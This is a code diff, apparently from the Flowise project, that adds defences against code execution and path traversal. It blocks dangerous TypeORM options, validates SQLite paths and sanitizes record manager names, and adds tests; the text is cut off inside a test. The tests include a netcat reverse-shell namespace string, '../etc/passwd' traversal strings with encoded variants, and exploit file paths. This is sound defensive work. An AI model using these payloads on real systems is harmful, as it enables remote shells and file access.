diff --git a/packages/components/nodes/chains/SqlDatabaseChain/SqlDatabaseChain.ts b/packages/components/nodes/chains/SqlDatabaseChain/SqlDatabaseChain.ts index 10ff1b88df5..87fe9d65a9a 100644 --- a/packages/components/nodes/chains/SqlDatabaseChain/SqlDatabaseChain.ts +++ b/packages/components/nodes/chains/SqlDatabaseChain/SqlDatabaseChain.ts @@ -7,6 +7,7 @@ import { SqlDatabase } from '@langchain/classic/sql_db' import { ICommonObject, INode, INodeData, INodeParams, IServerSideEventStreamer } from '../../../src/Interface' import { ConsoleCallbackHandler, CustomChainHandler, additionalCallbacks } from '../../../src/handler' import { getBaseClasses, getInputVariables, transformBracesWithColon } from '../../../src/utils' +import { validateSQLitePath } from '../../../src/validator' import { checkInputs, Moderation, streamResponse } from '../../moderation/Moderation' import { formatResponse } from '../../outputparsers/OutputParserHelpers' @@ -223,7 +224,7 @@ const getSQLDBChain = async ( databaseType === 'sqlite' ? { type: databaseType, - database: url + database: validateSQLitePath(url) } : ({ type: databaseType, diff --git a/packages/components/nodes/memory/AgentMemory/AgentMemory.ts b/packages/components/nodes/memory/AgentMemory/AgentMemory.ts index ca6c0ebed1c..aefde32e347 100644 --- a/packages/components/nodes/memory/AgentMemory/AgentMemory.ts +++ b/packages/components/nodes/memory/AgentMemory/AgentMemory.ts @@ -6,6 +6,7 @@ import { SqliteSaver } from './SQLiteAgentMemory/sqliteSaver' import { DataSource } from 'typeorm' import { PostgresSaver } from './PostgresAgentMemory/pgSaver' import { MySQLSaver } from './MySQLAgentMemory/mysqlSaver' +import { sanitizeDataSourceOptions } from '../../../src/sanitizeDataSourceOptions' class AgentMemory_Memory implements INode { label: string @@ -96,6 +97,8 @@ class AgentMemory_Memory implements INode { label: 'Additional Connection Configuration', name: 'additionalConfig', type: 'json', + description: + 'Optional TypeORM connection options (e.g. ssl, connectTimeout). entities, subscribers, migrations, and extra are not allowed.', additionalParams: true, optional: true } @@ -118,6 +121,7 @@ class AgentMemory_Memory implements INode { } catch (exception) { throw new Error('Invalid JSON in the Additional Configuration: ' + exception) } + additionalConfiguration = sanitizeDataSourceOptions(additionalConfiguration) } const threadId = options.sessionId || options.chatId diff --git a/packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts b/packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts index 3eb5c950350..75da3debef5 100644 --- a/packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts +++ b/packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts @@ -3,6 +3,7 @@ import { SaverOptions } from '../interface' import { ICommonObject, IDatabaseEntity, INode, INodeData, INodeParams } from '../../../../src/Interface' import { DataSource } from 'typeorm' import { MySQLSaver } from './mysqlSaver' +import { sanitizeDataSourceOptions } from '../../../../src/sanitizeDataSourceOptions' class MySQLAgentMemory_Memory implements INode { label: string @@ -54,6 +55,8 @@ class MySQLAgentMemory_Memory implements INode { label: 'Additional Connection Configuration', name: 'additionalConfig', type: 'json', + description: + 'Optional TypeORM connection options (e.g. ssl, connectTimeout). entities, subscribers, migrations, and extra are not allowed.', additionalParams: true, optional: true } @@ -74,6 +77,7 @@ class MySQLAgentMemory_Memory implements INode { } catch (exception) { throw new Error('Invalid JSON in the Additional Configuration: ' + exception) } + additionalConfiguration = sanitizeDataSourceOptions(additionalConfiguration) } const threadId = options.sessionId || options.chatId diff --git a/packages/components/nodes/memory/AgentMemory/PostgresAgentMemory/PostgresAgentMemory.ts b/packages/components/nodes/memory/AgentMemory/PostgresAgentMemory/PostgresAgentMemory.ts index 2ab86f66e0e..75e1f3c1228 100644 --- a/packages/components/nodes/memory/AgentMemory/PostgresAgentMemory/PostgresAgentMemory.ts +++ b/packages/components/nodes/memory/AgentMemory/PostgresAgentMemory/PostgresAgentMemory.ts @@ -3,6 +3,7 @@ import { SaverOptions } from '../interface' import { ICommonObject, IDatabaseEntity, INode, INodeData, INodeParams } from '../../../../src/Interface' import { DataSource } from 'typeorm' import { PostgresSaver } from './pgSaver' +import { sanitizeDataSourceOptions } from '../../../../src/sanitizeDataSourceOptions' class PostgresAgentMemory_Memory implements INode { label: string @@ -54,6 +55,8 @@ class PostgresAgentMemory_Memory implements INode { label: 'Additional Connection Configuration', name: 'additionalConfig', type: 'json', + description: + 'Optional TypeORM connection options (e.g. ssl, connectTimeout). entities, subscribers, migrations, and extra are not allowed.', additionalParams: true, optional: true } @@ -74,6 +77,7 @@ class PostgresAgentMemory_Memory implements INode { } catch (exception) { throw new Error('Invalid JSON in the Additional Configuration: ' + exception) } + additionalConfiguration = sanitizeDataSourceOptions(additionalConfiguration) } const threadId = options.sessionId || options.chatId diff --git a/packages/components/nodes/memory/AgentMemory/SQLiteAgentMemory/SQLiteAgentMemory.ts b/packages/components/nodes/memory/AgentMemory/SQLiteAgentMemory/SQLiteAgentMemory.ts index 29c9b0a37c5..929e00f6f0a 100644 --- a/packages/components/nodes/memory/AgentMemory/SQLiteAgentMemory/SQLiteAgentMemory.ts +++ b/packages/components/nodes/memory/AgentMemory/SQLiteAgentMemory/SQLiteAgentMemory.ts @@ -4,6 +4,8 @@ import { SaverOptions } from '../interface' import { ICommonObject, IDatabaseEntity, INode, INodeData, INodeParams } from '../../../../src/Interface' import { SqliteSaver } from './sqliteSaver' import { DataSource } from 'typeorm' +import { mergeDataSourceOptions, sanitizeDataSourceOptions } from '../../../../src/sanitizeDataSourceOptions' +import { validateSQLitePath } from '../../../../src/validator' class SQLiteAgentMemory_Memory implements INode { label: string @@ -40,6 +42,8 @@ class SQLiteAgentMemory_Memory implements INode { label: 'Additional Connection Configuration', name: 'additionalConfig', type: 'json', + description: + 'Optional TypeORM connection options (e.g. ssl, connectTimeout). entities, subscribers, migrations, and extra are not allowed.', additionalParams: true, optional: true } @@ -60,17 +64,20 @@ class SQLiteAgentMemory_Memory implements INode { } catch (exception) { throw new Error('Invalid JSON in the Additional Configuration: ' + exception) } + additionalConfiguration = sanitizeDataSourceOptions(additionalConfiguration) } const threadId = options.sessionId || options.chatId - const database = path.join(process.env.DATABASE_PATH ?? path.join(getUserHome(), '.flowise'), 'database.sqlite') + const database = validateSQLitePath(path.join(process.env.DATABASE_PATH ?? path.join(getUserHome(), '.flowise'), 'database.sqlite')) - let datasourceOptions: ICommonObject = { - database, - ...additionalConfiguration, - type: 'sqlite' - } + const datasourceOptions: ICommonObject = mergeDataSourceOptions( + { + database, + type: 'sqlite' + }, + additionalConfiguration + ) const args: SaverOptions = { datasourceOptions, diff --git a/packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts b/packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts index 50f5f680df0..19eaac5df3b 100644 --- a/packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts +++ b/packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts @@ -1,5 +1,7 @@ import { ICommonObject, INode, INodeData, INodeParams } from '../../../src/Interface' import { getBaseClasses, getCredentialData, getCredentialParam } from '../../../src/utils' +import { mergeDataSourceOptions, sanitizeDataSourceOptions } from '../../../src/sanitizeDataSourceOptions' +import { sanitizeRecordManagerNamespace, sanitizeRecordManagerTableName } from '../../../src/recordManagerSecurity' import { ListKeyOptions, RecordManagerInterface, UpdateOptions } from '@langchain/community/indexes/base' import { DataSource } from 'typeorm' @@ -47,6 +49,8 @@ class MySQLRecordManager_RecordManager implements INode { label: 'Additional Connection Configuration', name: 'additionalConfig', type: 'json', + description: + 'Optional TypeORM connection options (e.g. ssl, connectTimeout). entities, subscribers, migrations, and extra are not allowed.', additionalParams: true, optional: true }, @@ -118,10 +122,10 @@ class MySQLRecordManager_RecordManager implements INode { const user = getCredentialParam('user', credentialData, nodeData) const password = getCredentialParam('password', credentialData, nodeData) const _tableName = nodeData.inputs?.tableName as string - const tableName = _tableName ? _tableName : 'upsertion_records' + const tableName = sanitizeRecordManagerTableName(_tableName ? _tableName : 'upsertion_records') const additionalConfig = nodeData.inputs?.additionalConfig as string const _namespace = nodeData.inputs?.namespace as string - const namespace = _namespace ? _namespace : options.chatflowid + const namespace = _namespace ? sanitizeRecordManagerNamespace(_namespace) : options.chatflowid const cleanup = nodeData.inputs?.cleanup as string const _sourceIdKey = nodeData.inputs?.sourceIdKey as string const sourceIdKey = _sourceIdKey ? _sourceIdKey : 'source' @@ -133,17 +137,20 @@ class MySQLRecordManager_RecordManager implements INode { } catch (exception) { throw new Error('Invalid JSON in the Additional Configuration: ' + exception) } + additionalConfiguration = sanitizeDataSourceOptions(additionalConfiguration) } - const mysqlOptions = { - ...additionalConfiguration, - type: 'mysql', - host: nodeData.inputs?.host as string, - port: nodeData.inputs?.port as number, - username: user, - password: password, - database: nodeData.inputs?.database as string - } + const mysqlOptions = mergeDataSourceOptions( + { + type: 'mysql', + host: nodeData.inputs?.host as string, + port: nodeData.inputs?.port as number, + username: user, + password: password, + database: nodeData.inputs?.database as string + }, + additionalConfiguration + ) const args = { mysqlOptions, @@ -178,15 +185,7 @@ class MySQLRecordManager implements RecordManagerInterface { } sanitizeTableName(tableName: string): string { - // Trim and normalize case, turn whitespace into underscores - tableName = tableName.trim().toLowerCase().replace(/\s+/g, '_') - - // Validate using a regex (alphanumeric and underscores only) - if (!/^[a-zA-Z0-9_]+$/.test(tableName)) { - throw new Error('Invalid table name') - } - - return tableName + return sanitizeRecordManagerTableName(tableName) } private async getDataSource(): Promise { diff --git a/packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts b/packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts index 2070370b255..e44d01b1c9f 100644 --- a/packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts +++ b/packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts @@ -4,6 +4,8 @@ import { ListKeyOptions, RecordManagerInterface, UpdateOptions } from '@langchai import { DataSource } from 'typeorm' import { getHost, getSSL } from '../../vectorstores/Postgres/utils' import { getDatabase, getPort, getTableName } from './utils' +import { mergeDataSourceOptions, sanitizeDataSourceOptions } from '../../../src/sanitizeDataSourceOptions' +import { sanitizeRecordManagerNamespace, sanitizeRecordManagerTableName } from '../../../src/recordManagerSecurity' const serverCredentialsExists = !!process.env.POSTGRES_RECORDMANAGER_USER && !!process.env.POSTGRES_RECORDMANAGER_PASSWORD @@ -63,6 +65,8 @@ class PostgresRecordManager_RecordManager implements INode { label: 'Additional Connection Configuration', name: 'additionalConfig', type: 'json', + description: + 'Optional TypeORM connection options (e.g. ssl, connectTimeout). entities, subscribers, migrations, and extra are not allowed.', additionalParams: true, optional: true }, @@ -134,10 +138,10 @@ class PostgresRecordManager_RecordManager implements INode { const credentialData = await getCredentialData(nodeData.credential ?? '', options) const user = getCredentialParam('user', credentialData, nodeData, process.env.POSTGRES_RECORDMANAGER_USER) const password = getCredentialParam('password', credentialData, nodeData, process.env.POSTGRES_RECORDMANAGER_PASSWORD) - const tableName = getTableName(nodeData) + const tableName = sanitizeRecordManagerTableName(getTableName(nodeData)) const additionalConfig = nodeData.inputs?.additionalConfig as string const _namespace = nodeData.inputs?.namespace as string - const namespace = _namespace ? _namespace : options.chatflowid + const namespace = _namespace ? sanitizeRecordManagerNamespace(_namespace) : options.chatflowid const cleanup = nodeData.inputs?.cleanup as string const _sourceIdKey = nodeData.inputs?.sourceIdKey as string const sourceIdKey = _sourceIdKey ? _sourceIdKey : 'source' @@ -149,18 +153,21 @@ class PostgresRecordManager_RecordManager implements INode { } catch (exception) { throw new Error('Invalid JSON in the Additional Configuration: ' + exception) } + additionalConfiguration = sanitizeDataSourceOptions(additionalConfiguration) } - const postgresConnectionOptions = { - ...additionalConfiguration, - type: 'postgres', - host: getHost(nodeData), - port: getPort(nodeData), - ssl: getSSL(nodeData), - username: user, - password: password, - database: getDatabase(nodeData) - } + const postgresConnectionOptions = mergeDataSourceOptions( + { + type: 'postgres', + host: getHost(nodeData), + port: getPort(nodeData), + ssl: getSSL(nodeData), + username: user, + password: password, + database: getDatabase(nodeData) + }, + additionalConfiguration + ) const args = { postgresConnectionOptions: postgresConnectionOptions, @@ -195,15 +202,7 @@ class PostgresRecordManager implements RecordManagerInterface { } sanitizeTableName(tableName: string): string { - // Trim and normalize case, turn whitespace into underscores - tableName = tableName.trim().toLowerCase().replace(/\s+/g, '_') - - // Validate using a regex (alphanumeric and underscores only) - if (!/^[a-zA-Z0-9_]+$/.test(tableName)) { - throw new Error('Invalid table name') - } - - return tableName + return sanitizeRecordManagerTableName(tableName) } private async getDataSource(): Promise { diff --git a/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts b/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts index 137d452d6cc..eb30bb58a0f 100644 --- a/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts +++ b/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts @@ -3,6 +3,9 @@ import { getBaseClasses, getUserHome } from '../../../src/utils' import { ListKeyOptions, RecordManagerInterface, UpdateOptions } from '@langchain/community/indexes/base' import { DataSource } from 'typeorm' import path from 'path' +import { mergeDataSourceOptions, sanitizeDataSourceOptions } from '../../../src/sanitizeDataSourceOptions' +import { sanitizeRecordManagerNamespace, sanitizeRecordManagerTableName } from '../../../src/recordManagerSecurity' +import { validateSQLitePath } from '../../../src/validator' class SQLiteRecordManager_RecordManager implements INode { label: string @@ -36,6 +39,8 @@ class SQLiteRecordManager_RecordManager implements INode { label: 'Additional Connection Configuration', name: 'additionalConfig', type: 'json', + description: + 'Optional TypeORM connection options (e.g. ssl, connectTimeout). entities, subscribers, migrations, and extra are not allowed.', additionalParams: true, optional: true }, @@ -98,10 +103,10 @@ class SQLiteRecordManager_RecordManager implements INode { async init(nodeData: INodeData, _: string, options: ICommonObject): Promise { const _tableName = nodeData.inputs?.tableName as string - const tableName = _tableName ? _tableName : 'upsertion_records' + const tableName = sanitizeRecordManagerTableName(_tableName ? _tableName : 'upsertion_records') const additionalConfig = nodeData.inputs?.additionalConfig as string const _namespace = nodeData.inputs?.namespace as string - const namespace = _namespace ? _namespace : options.chatflowid + const namespace = _namespace ? sanitizeRecordManagerNamespace(_namespace) : options.chatflowid const cleanup = nodeData.inputs?.cleanup as string const _sourceIdKey = nodeData.inputs?.sourceIdKey as string const sourceIdKey = _sourceIdKey ? _sourceIdKey : 'source' @@ -113,15 +118,18 @@ class SQLiteRecordManager_RecordManager implements INode { } catch (exception) { throw new Error('Invalid JSON in the Additional Configuration: ' + exception) } + additionalConfiguration = sanitizeDataSourceOptions(additionalConfiguration) } - const database = path.join(process.env.DATABASE_PATH ?? path.join(getUserHome(), '.flowise'), 'database.sqlite') + const database = validateSQLitePath(path.join(process.env.DATABASE_PATH ?? path.join(getUserHome(), '.flowise'), 'database.sqlite')) - const sqliteOptions = { - database, - ...additionalConfiguration, - type: 'sqlite' - } + const sqliteOptions = mergeDataSourceOptions( + { + database, + type: 'sqlite' + }, + additionalConfiguration + ) const args = { sqliteOptions, @@ -156,15 +164,7 @@ class SQLiteRecordManager implements RecordManagerInterface { } sanitizeTableName(tableName: string): string { - // Trim and normalize case, turn whitespace into underscores - tableName = tableName.trim().toLowerCase().replace(/\s+/g, '_') - - // Validate using a regex (alphanumeric and underscores only) - if (!/^[a-zA-Z0-9_]+$/.test(tableName)) { - throw new Error('Invalid table name') - } - - return tableName + return sanitizeRecordManagerTableName(tableName) } private async getDataSource(): Promise { diff --git a/packages/components/nodes/vectorstores/Postgres/Postgres.ts b/packages/components/nodes/vectorstores/Postgres/Postgres.ts index 904e28ab864..3764fb94791 100644 --- a/packages/components/nodes/vectorstores/Postgres/Postgres.ts +++ b/packages/components/nodes/vectorstores/Postgres/Postgres.ts @@ -186,6 +186,8 @@ class Postgres_VectorStores implements INode { label: 'Additional Configuration', name: 'additionalConfig', type: 'json', + description: + 'Optional TypeORM connection options (e.g. ssl, connectTimeout). entities, subscribers, migrations, and extra are not allowed.', additionalParams: true, optional: true }, diff --git a/packages/components/nodes/vectorstores/Postgres/driver/PGVector.ts b/packages/components/nodes/vectorstores/Postgres/driver/PGVector.ts index 608858a1923..08779ce9074 100644 --- a/packages/components/nodes/vectorstores/Postgres/driver/PGVector.ts +++ b/packages/components/nodes/vectorstores/Postgres/driver/PGVector.ts @@ -4,6 +4,7 @@ import { VectorStoreDriver } from './Base' import { FLOWISE_CHATID } from '../../../../src' +import { sanitizeDataSourceOptions } from '../../../../src/sanitizeDataSourceOptions' import { DistanceStrategy, PGVectorStore, PGVectorStoreArgs } from '@langchain/community/vectorstores/pgvector' import { Document } from '@langchain/core/documents' import { PoolConfig } from 'pg' @@ -27,6 +28,7 @@ export class PGVectorDriver extends VectorStoreDriver { } catch (exception) { throw new Error('Invalid JSON in the Additional Configuration: ' + exception) } + additionalConfiguration = sanitizeDataSourceOptions(additionalConfiguration) } this._postgresConnectionOptions = { diff --git a/packages/components/nodes/vectorstores/Postgres/driver/TypeORM.ts b/packages/components/nodes/vectorstores/Postgres/driver/TypeORM.ts index 4fe76802379..e3e3c5a30a3 100644 --- a/packages/components/nodes/vectorstores/Postgres/driver/TypeORM.ts +++ b/packages/components/nodes/vectorstores/Postgres/driver/TypeORM.ts @@ -1,6 +1,7 @@ import { DataSourceOptions } from 'typeorm' import { VectorStoreDriver } from './Base' import { FLOWISE_CHATID, ICommonObject } from '../../../../src' +import { sanitizeDataSourceOptions } from '../../../../src/sanitizeDataSourceOptions' import { TypeORMVectorStore, TypeORMVectorStoreArgs, TypeORMVectorStoreDocument } from '@langchain/community/vectorstores/typeorm' import { VectorStore } from '@langchain/core/vectorstores' import { Document } from '@langchain/core/documents' @@ -27,6 +28,7 @@ export class TypeORMDriver extends VectorStoreDriver { } catch (exception) { throw new Error('Invalid JSON in the Additional Configuration: ' + exception) } + additionalConfiguration = sanitizeDataSourceOptions(additionalConfiguration) } this._postgresConnectionOptions = { diff --git a/packages/components/src/index.ts b/packages/components/src/index.ts index 8f39316c838..d2e5ca32de2 100644 --- a/packages/components/src/index.ts +++ b/packages/components/src/index.ts @@ -19,4 +19,6 @@ export * from './agentflowv2Generator' export * from './httpSecurity' export * from './headerValidation' export * from './pythonCodeValidator' +export * from './sanitizeDataSourceOptions' +export * from './recordManagerSecurity' export { MCPToolkit } from '../nodes/tools/MCP/core' diff --git a/packages/components/src/recordManagerSecurity.test.ts b/packages/components/src/recordManagerSecurity.test.ts new file mode 100644 index 00000000000..f64358de0db --- /dev/null +++ b/packages/components/src/recordManagerSecurity.test.ts @@ -0,0 +1,38 @@ +import { + RECORD_MANAGER_TABLE_NAME_MAX_LENGTH, + sanitizeRecordManagerNamespace, + sanitizeRecordManagerTableName +} from './recordManagerSecurity' + +describe('sanitizeRecordManagerTableName', () => { + it('accepts valid table names', () => { + expect(sanitizeRecordManagerTableName('upsertion_records')).toBe('upsertion_records') + }) + + it('normalizes whitespace to underscores', () => { + expect(sanitizeRecordManagerTableName(' My Table ')).toBe('my_table') + }) + + it('rejects invalid characters', () => { + expect(() => sanitizeRecordManagerTableName('table-name')).toThrow('Invalid table name') + }) + + it('rejects names exceeding max length', () => { + const longName = 'a'.repeat(RECORD_MANAGER_TABLE_NAME_MAX_LENGTH + 1) + expect(() => sanitizeRecordManagerTableName(longName)).toThrow(/must be at most/) + }) +}) + +describe('sanitizeRecordManagerNamespace', () => { + it('accepts UUID-shaped namespaces', () => { + expect(sanitizeRecordManagerNamespace('a1b2c3d4-e5f6-4789-a012-3456789abcde')).toBe('a1b2c3d4-e5f6-4789-a012-3456789abcde') + }) + + it('rejects shell metacharacters used in RCE PoC', () => { + expect(() => sanitizeRecordManagerNamespace("'$(/usr/bin/nc 172.17.0.1 1337 -e /bin/sh)")).toThrow('Invalid namespace') + }) + + it('rejects spaces', () => { + expect(() => sanitizeRecordManagerNamespace('my namespace')).toThrow('Invalid namespace') + }) +}) diff --git a/packages/components/src/recordManagerSecurity.ts b/packages/components/src/recordManagerSecurity.ts new file mode 100644 index 00000000000..7c7431fd615 --- /dev/null +++ b/packages/components/src/recordManagerSecurity.ts @@ -0,0 +1,36 @@ +export const RECORD_MANAGER_TABLE_NAME_MAX_LENGTH = 128 +export const RECORD_MANAGER_NAMESPACE_MAX_LENGTH = 128 + +/** + * Validates record manager table names used in SQL identifiers. + */ +export function sanitizeRecordManagerTableName(tableName: string): string { + tableName = tableName.trim().toLowerCase().replace(/\s+/g, '_') + + if (!/^[a-zA-Z0-9_]+$/.test(tableName)) { + throw new Error('Invalid table name') + } + + if (tableName.length > RECORD_MANAGER_TABLE_NAME_MAX_LENGTH) { + throw new Error(`Invalid table name: must be at most ${RECORD_MANAGER_TABLE_NAME_MAX_LENGTH} characters`) + } + + return tableName +} + +/** + * Validates record manager namespace values stored in the database. + */ +export function sanitizeRecordManagerNamespace(namespace: string): string { + const trimmed = namespace.trim() + + if (!/^[a-zA-Z0-9_-]{1,128}$/.test(trimmed)) { + throw new Error('Invalid namespace') + } + + if (trimmed.length > RECORD_MANAGER_NAMESPACE_MAX_LENGTH) { + throw new Error(`Invalid namespace: must be at most ${RECORD_MANAGER_NAMESPACE_MAX_LENGTH} characters`) + } + + return trimmed +} diff --git a/packages/components/src/sanitizeDataSourceOptions.test.ts b/packages/components/src/sanitizeDataSourceOptions.test.ts new file mode 100644 index 00000000000..c999856315c --- /dev/null +++ b/packages/components/src/sanitizeDataSourceOptions.test.ts @@ -0,0 +1,74 @@ +import { mergeDataSourceOptions, rejectReservedDataSourceKeys, sanitizeDataSourceOptions } from './sanitizeDataSourceOptions' + +describe('sanitizeDataSourceOptions', () => { + it('returns empty object for empty input', () => { + expect(sanitizeDataSourceOptions({})).toEqual({}) + }) + + it('returns empty object for nullish-like invalid input', () => { + expect(sanitizeDataSourceOptions(null as any)).toEqual({}) + expect(sanitizeDataSourceOptions(undefined as any)).toEqual({}) + }) + + it('passes through safe connection options', () => { + const config = { + ssl: { rejectUnauthorized: false }, + connectTimeout: 10000, + poolSize: 5 + } + expect(sanitizeDataSourceOptions(config)).toEqual(config) + }) + + it('returns a shallow copy and does not mutate the input', () => { + const config = { poolSize: 5 } + const result = sanitizeDataSourceOptions(config) + expect(result).toEqual(config) + expect(result).not.toBe(config) + }) + + describe('blocked keys', () => { + it.each(['entities', 'subscribers', 'migrations', 'extra'] as const)('throws when %s is present', (key) => { + expect(() => sanitizeDataSourceOptions({ [key]: ['/tmp/evil.js'] })).toThrow(`Disallowed TypeORM DataSource option: ${key}`) + }) + + it('throws when multiple blocked keys are present', () => { + expect(() => + sanitizeDataSourceOptions({ + entities: ['/tmp/a.js'], + extra: { foo: 'bar' } + }) + ).toThrow('Disallowed TypeORM DataSource option:') + }) + }) + + describe('reserved connection keys', () => { + it.each(['database', 'type', 'url', 'host', 'port', 'username', 'password'] as const)( + 'rejectReservedDataSourceKeys throws when %s is present', + (key) => { + expect(() => rejectReservedDataSourceKeys({ [key]: 'evil' })).toThrow(`Disallowed TypeORM DataSource option: ${key}`) + } + ) + }) +}) + +describe('mergeDataSourceOptions', () => { + it('applies protected options after safe user options', () => { + const result = mergeDataSourceOptions({ database: '/safe/db.sqlite', type: 'sqlite' }, { connectTimeout: 10000 }) + expect(result).toEqual({ + connectTimeout: 10000, + database: '/safe/db.sqlite', + type: 'sqlite' + }) + }) + + it('throws when user options include reserved database key', () => { + expect(() => + mergeDataSourceOptions({ database: '/safe/db.sqlite', type: 'sqlite' }, { database: '/etc/chromium/exploit.conf' }) + ).toThrow('Disallowed TypeORM DataSource option: database') + }) + + it('passes through safe user options', () => { + const result = mergeDataSourceOptions({ type: 'sqlite', database: '/safe/db.sqlite' }, { poolSize: 5 }) + expect(result).toEqual({ poolSize: 5, type: 'sqlite', database: '/safe/db.sqlite' }) + }) +}) diff --git a/packages/components/src/sanitizeDataSourceOptions.ts b/packages/components/src/sanitizeDataSourceOptions.ts new file mode 100644 index 00000000000..b2bb44328d0 --- /dev/null +++ b/packages/components/src/sanitizeDataSourceOptions.ts @@ -0,0 +1,52 @@ +import { ICommonObject } from './Interface' + +/** TypeORM DataSource options that can load and execute arbitrary local JavaScript files. */ +const BLOCKED_DATASOURCE_KEYS = ['entities', 'subscribers', 'migrations', 'extra'] as const + +/** Connection options that must be set by the node, not via additionalConfig. */ +const RESERVED_CONNECTION_KEYS = ['database', 'type', 'url', 'host', 'port', 'username', 'password'] as const + +export type BlockedDataSourceKey = (typeof BLOCKED_DATASOURCE_KEYS)[number] +export type ReservedConnectionKey = (typeof RESERVED_CONNECTION_KEYS)[number] + +/** + * Rejects user-supplied TypeORM DataSource options that can lead to arbitrary code execution + * when passed to `new DataSource(options).initialize()`. + */ +export function sanitizeDataSourceOptions(config: ICommonObject): ICommonObject { + if (!config || typeof config !== 'object' || Array.isArray(config)) { + return {} + } + + for (const key of BLOCKED_DATASOURCE_KEYS) { + if (Object.prototype.hasOwnProperty.call(config, key)) { + throw new Error(`Disallowed TypeORM DataSource option: ${key}`) + } + } + + return { ...config } +} + +/** + * Rejects user-supplied connection fields that must not override node-controlled settings. + */ +export function rejectReservedDataSourceKeys(config: ICommonObject): void { + if (!config || typeof config !== 'object' || Array.isArray(config)) { + return + } + + for (const key of RESERVED_CONNECTION_KEYS) { + if (Object.prototype.hasOwnProperty.call(config, key)) { + throw new Error(`Disallowed TypeORM DataSource option: ${key}`) + } + } +} + +/** + * Merges sanitized user options under protected node-controlled DataSource options. + */ +export function mergeDataSourceOptions(protectedOptions: T, userOptions: ICommonObject): T { + const sanitized = sanitizeDataSourceOptions(userOptions) + rejectReservedDataSourceKeys(sanitized) + return { ...sanitized, ...protectedOptions } +} diff --git a/packages/components/src/validator.test.ts b/packages/components/src/validator.test.ts index 44b3af7d40e..46d34ca8aec 100644 --- a/packages/components/src/validator.test.ts +++ b/packages/components/src/validator.test.ts @@ -1,4 +1,10 @@ -import { isPathTraversal, isUnsafeFilePath, validateMimeTypeAndExtensionMatch, validateVectorStorePath } from './validator' +import { + isPathTraversal, + isUnsafeFilePath, + validateMimeTypeAndExtensionMatch, + validateVectorStorePath, + validateSQLitePath +} from './validator' import path from 'path' import { getUserHome } from './utils' @@ -466,3 +472,170 @@ describe('validateVectorStorePath', () => { }) }) }) + +describe('validateSQLitePath', () => { + const userHome = getUserHome() + const defaultFlowiseDir = path.join(userHome, '.flowise') + + describe('valid paths', () => { + it('should resolve a simple filename to ~/.flowise/', () => { + const result = validateSQLitePath('mydb.sqlite') + expect(result).toBe(path.join(defaultFlowiseDir, 'mydb.sqlite')) + }) + + it('should resolve a relative subdirectory path within ~/.flowise', () => { + const result = validateSQLitePath('dbs/mydb.sqlite') + expect(result).toBe(path.join(defaultFlowiseDir, 'dbs', 'mydb.sqlite')) + }) + + it('should accept an absolute path within ~/.flowise', () => { + const absolutePath = path.join(defaultFlowiseDir, 'mydb.sqlite') + const result = validateSQLitePath(absolutePath) + expect(result).toBe(absolutePath) + }) + + it('should accept an absolute path in a nested directory within ~/.flowise', () => { + const absolutePath = path.join(defaultFlowiseDir, 'dbs', 'project', 'mydb.sqlite') + const result = validateSQLitePath(absolutePath) + expect(result).toBe(absolutePath) + }) + + it('should return an absolute path for any valid input', () => { + const result = validateSQLitePath('test.db') + expect(path.isAbsolute(result)).toBe(true) + }) + }) + + describe('empty / missing path', () => { + it('should throw when path is undefined', () => { + expect(() => validateSQLitePath(undefined)).toThrow('Invalid SQLite path: database path is required') + }) + + it('should throw when path is empty string', () => { + expect(() => validateSQLitePath('')).toThrow('Invalid SQLite path: database path is required') + }) + + it('should throw when path is whitespace only', () => { + expect(() => validateSQLitePath(' ')).toThrow('Invalid SQLite path: database path is required') + }) + }) + + describe('path traversal attacks', () => { + it.each([ + ['..', 'bare double-dot'], + ['../etc/passwd', 'path traversal to /etc'], + ['../../../../../../etc/passwd', 'multiple levels of traversal'], + ['dbs/../../etc/passwd', 'traversal in middle of path'], + ['..\\..\\windows\\system32', 'Windows-style traversal'] + ])('should reject %s (%s)', (maliciousPath) => { + expect(() => validateSQLitePath(maliciousPath)).toThrow('Invalid SQLite path: path traversal attempt detected') + }) + }) + + describe('encoded path traversal', () => { + it.each([ + ['%2e%2e/etc/passwd', 'URL-encoded ..'], + ['%2e%2e%2fetc', 'URL-encoded ../etc'], + ['path%2f%2e%2e%2fetc', 'URL-encoded mid-path traversal'], + ['path%5c%2e%2e%5cetc', 'URL-encoded Windows traversal'] + ])('should reject %s (%s)', (encodedPath) => { + expect(() => validateSQLitePath(encodedPath)).toThrow('Invalid SQLite path: encoded path traversal attempt detected') + }) + }) + + describe('control characters and null bytes', () => { + it('should reject path with null byte', () => { + expect(() => validateSQLitePath('db\0.sqlite')).toThrow('Invalid SQLite path: null bytes or control characters detected') + }) + + it('should reject path with control character', () => { + expect(() => validateSQLitePath('db\x01.sqlite')).toThrow('Invalid SQLite path: null bytes or control characters detected') + }) + }) + + describe('disallowed absolute paths', () => { + it('should reject Windows absolute path (C:\\)', () => { + expect(() => validateSQLitePath('C:\\Windows\\System32\\db.sqlite')).toThrow( + 'Invalid SQLite path: Windows absolute paths are not allowed' + ) + }) + + it('should reject UNC path (\\\\server\\share)', () => { + expect(() => validateSQLitePath('\\\\server\\share\\db.sqlite')).toThrow('Invalid SQLite path: UNC paths are not allowed') + }) + + it('should reject /etc paths (RCE attack vector)', () => { + expect(() => validateSQLitePath('/etc/chromium/exploit.conf')).toThrow(/Invalid SQLite path:/) + }) + + it('should reject /tmp path', () => { + expect(() => validateSQLitePath('/tmp/db.sqlite')).toThrow(/Invalid SQLite path:/) + }) + + it('should reject path to frontend build directory (XSS attack vector)', () => { 